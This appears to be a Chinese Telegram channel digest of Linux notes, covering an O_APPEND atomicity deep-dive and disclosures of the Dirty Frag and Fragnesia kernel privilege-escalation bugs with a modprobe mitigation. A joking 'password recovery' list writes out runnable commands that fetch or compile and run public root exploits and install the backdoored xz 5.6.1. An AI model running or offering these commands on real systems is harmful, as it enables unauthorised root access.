向巨佬学习
https://t.iss.one/TheB1ackParade/1045

#今天又看了啥
重要公告 | e-Science中心服务收费预通知

众所周知，中心长期保持极其精干的技术“团队”，以极高的效率支撑服务运行。
高效运转的背后，只靠中心的“精干团队”其实是远远不够的。也许大家没有参与e-Science运营中的修改代码、服务规划、问题解答等等细枝末节，但e-Science深知，服务来自于师生需求与学校支持，不是凭空变出的。
...
人力方面，抛开身体健康状况不计折损，众所周知“团队”有1人。

https://mp.weixin.qq.com/s/1oDWvMKRE751yzBhAuwwLA

南大 yaoge123 燃尽了（

ubuntu通过kmod包分发了一个/etc/modprobe.d/disable-algif_aead.conf来禁用algif_aead模块

https://docs.docker.com/engine/storage/containerd

The containerd image store is the default storage backend for Docker Engine 29.0 and later on fresh installations. If you upgraded from an earlier version, your daemon continues using the legacy graph drivers (overlay2) until you enable the containerd image store.

#TIL 尽管 Btrfs 的不同 subvolume 可以出现在同一个 mountpoint 下（例如 mount -o subvolid=5 看到的内容），跨 subvolume 移动文件（renameat2(2)）还是会吃个 EXDEV，需要 fallback 到 cp + unlink；但是 cp 的时候又可以 ioctl(FICLONE) 省去实际读写文件的过程，最终效果就是“移动了，但又没移动”（只有 inode 变了）

Dirty Frag: Universal Linux LPE
和 Copy Fail 类似，绝大多数发行版可一键提权

禁用 esp4、esp6、rxrpc 可以缓解

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"

https://dirtyfrag.io/
https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4
https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
exp: https://github.com/V4bel/dirtyfrag/blob/master/exp.c

#TIL 继 CentOS 7 之后新的抗洞选手出现了：ZFS
Credit: shankerwangmiao

iBug 的最新整活
https://ibug.io/p/80

ZFS 再次幸免（

1. Linux 找回密码教程，建议收藏！
curl https://copy.fail/exp python3 && su
passwd root
设置你的新密码

2. 你的 Linux 密码又忘了？
没关系，这里还有一个新的！
git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

3. 不想再忘记密码了？
我们有专业的黑客团队帮您运维服务器和保管密码！
项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh

4. 容易忘记密码的有福了，每天都有新办法！
https://ze3tar.github.io/post-zcrx.html
插入一个支持ZCRX的高端网卡，让它down掉，然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可

5. 什么，你买不起高端网卡？那试试这个吧！
git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp

6. 听说您的机房不允许ssh外连，只能通过KVM物理访问服务器? 没关系，我们的专业黑客团队也可以通过nginx帮助运维您的服务器！
https://depthfirst.com/nginx-rift

合格的 1 楼
https://www.v2ex.com/t/1212729

没苦硬吃是吧

https://github.com/oven-sh/bun/pull/30412
？

这个问题的迷人之处在于，甚至 StackOverflow 都无法给出正确的回答：
https://stackoverflow.com/questions/47968861/does-python-logging-support-multiprocessing: 高赞回答全错
https://stackoverflow.com/questions/1154446/is-file-append-atomic-in-unix: 高赞回答全错

其中有个回答非常具有迷惑性，这个博客 (https://www.notthewizard.com/2014/06/17/are-files-appends-really-atomic/) 里用 bash 做了 O_APPEND 实验，方法是 20 个进程并行 echo "$line" >> /tmp/out.tmp ，由于 echo 默认会输出 \n，最后验证一下 /tmp/out.tmp 里是否有预期的行数和字节数（数据完整性）、每一行的字节数是否为预期值（单次 write 的原子性），最后发现在 Linux ext3 上 4096 是分水岭，4097 时会出现碎片，进程之间的 write 会穿插输出。我在 Linux 6.17 ext4 上可以复现。

上面这个实验得到的错误结论毒害了整个 SO 很多年，大量的回答都在复读 PIPE_BUF (4096) 这个数，然而 ta 的实验错在 bash echo 的行为很隐晦，如果 echo 的数据（含 \n suffix）大于 4096 并且输出 fd 是 regular file，echo 会拆成多个 buffer 调用多次 write，根本就没有测试到 write 的原子性。

# $ strace -e write -fTtt bash -c 'line=$(printf "%4096s" "" | tr " " A); echo "$line" >> /tmp/a'
16:36:20.792871 write(1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 4096 <0.000043>
16:36:20.792936 write(1, "\n", 1)       = 1 <0.000007>

真相是 O_APPEND 是具有多进程原子性的，在 https://elixir.bootlin.com/linux/v6.18.29/source/mm/filemap.c#L4406 的 generic_file_write_iter 里：

ssize_t generic_file_write_iter(struct kiocb *iocb, struct iov_iter *from)
{
[...]
  inode_lock(inode);
  ret = generic_write_checks(iocb, from);
  if (ret > 0)
    ret = __generic_file_write_iter(iocb, from);
  inode_unlock(inode);
[...]
}

generic_write_checks() 会 if (iocb->ki_flags & IOCB_APPEND) iocb->ki_pos = ... 来推进 pos 指针，然后 __generic_file_write_iter() 写入数据，这两步都在 inode_lock(inode) semaphore 保护下，多进程安全。

此外，就算没有 O_APPEND，现代 Linux 也实现了相当程度的 write 原子性，在 man 2 write 里，最后一节 BUGS:

BUGS
According to POSIX.1-2008/SUSv4 Section XSI 2.9.7 ("Thread Interactions with Regular File Operations"):

All of the following functions shall be atomic with respect to each other in the effects specified in POSIX.1-2008 when they operate on regular files or symbolic links: ...

Among the APIs subsequently listed are write() and writev(2). And among the effects that should be atomic across threads (and processes) are updates of the file offset. However, before Linux 3.14,
this was not the case: if two processes that share an open file description (see open(2)) perform a write() (or writev(2)) at the same time, then the I/O operations were not atomic with respect to up‐
dating the file offset, with the result that the blocks of data output by the two processes might (incorrectly) overlap. This problem was fixed in Linux 3.14.

就是在说，如果两个进程的 fd 指向同一个 file description（如图），那它们共享同一个 file offset，自动拥有原子性和互斥性。

内核实现是在 https://elixir.bootlin.com/linux/v6.18.29/source/fs/file.c#L1200 的 file_needs_f_pos_lock 里，如果引用计数大于一，有多进程共享，会 mutex_lock(&file->f_pos_lock) 上锁

static inline bool file_needs_f_pos_lock(struct file *file)
{
  if (!(file->f_mode & FMODE_ATOMIC_POS))
    return false;
  if (__file_ref_read_raw(&file->f_ref) != FILE_REF_ONEREF)
    return true;
[...]
}

其中 FMODE_ATOMIC_POS 对于 regular file 是自动加上的，注释标明这是 SUSv4 的要求

  /* POSIX.1-2008/SUSv4 Section XSI 2.9.7 */
  if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode))
    f->f_mode |= FMODE_ATOMIC_POS;

不少著名服务其实依赖了这个行为，比如 nginx 的 worker log 都是从 master fork 继承过来的，那无需 O_APPEND 就能正确运行；Python 著名的 WSGI server gunicorn 也是这种 fork 继承 log fd 模式，曾经有人提问它怎么保证日志输出不会产生多进程 race，我也曾百思不得其解： https://github.com/benoitc/gunicorn/issues/1272

这是我九年前在北京日夜学习思考记录在 trello 的最后一个未解之谜，虽然多少有点焦虑 LLM 的强大，依然很高兴自己能在 AI 辅助下以前所未有地速度解决复杂问题。（这样就有更多时间摸鱼和玩游戏了😉）

(@refault_any 考古 2002 年 Linus 撕逼提到 O_APPEND 也很有趣： https://lore.kernel.org/all/[email protected]/

但其实第二高赞的回答是正确的

fragnesia-5db89c99566fc
This is a variant of our Fragnesia bug (CVE-2026-46300) that bypasses the merged fix (commit f84eca581739) by exploiting a separate path that remains unpatched in both mainline and the netdev net tree as of 2026-05-15 18:00 UTC.

The bug is in skb_segment() in net/core/skbuff.c. When building GSO segments from an skb that has a frag_list, the function propagates SKBFL_SHARED_FRAG only from the head skb. If a frag_list member carries page-cache-backed frags with the flag set but the head does not, the resulting segment skbs lose the marker. This lets them pass the skip_cow guard in esp_input() and get decrypted in place over page-cache pages, same primitive as the original Dirty Frag and Fragnesia exploits.

Triggering it requires three network namespaces connected by veth pairs. The sender does a normal send() followed by splice() on the same TCP connection. GRO on the forwarding hop coalesces the two into a single skb where the send() segment becomes the head (no flag) and the splice() segment goes into the frag_list (flag set). The forwarder has GSO disabled on its egress veth, so skb_segment() fires and strips the flag. The segments then reach an espintcp receiver that decrypts in place. The GRO coalescing step requires both segments to arrive in the same NAPI poll cycle, which is reliable with back-to-back sends but not fully deterministic, so the exploit retries on failure. The rest of the exploitation is identical to Fragnesia: AES-GCM keystream control gives a deterministic one-byte page-cache write per trigger, and the exploit iterates over a small ELF payload to overwrite a SUID binary.

We have reported this to the relevant parties. There is a pending patch (not currently accepted or merged) on the netdev list that would incidentally help prevent this by propagating the flag earlier in the GRO path, though it was not written to address this bug specifically, and no patch currently proposed fixes the root cause in skb_segment() itself.

https://github.com/v12-security/pocs/tree/main/fragnesia-5db89c99566fc

已经麻木了，现在感觉当年的 Heartbleed 漏洞也就那样，哪有现在劲爆

不是很看得懂天天买卖小鸡和用各种来路不明的面板的圈子，SSH 不够恁们用吗？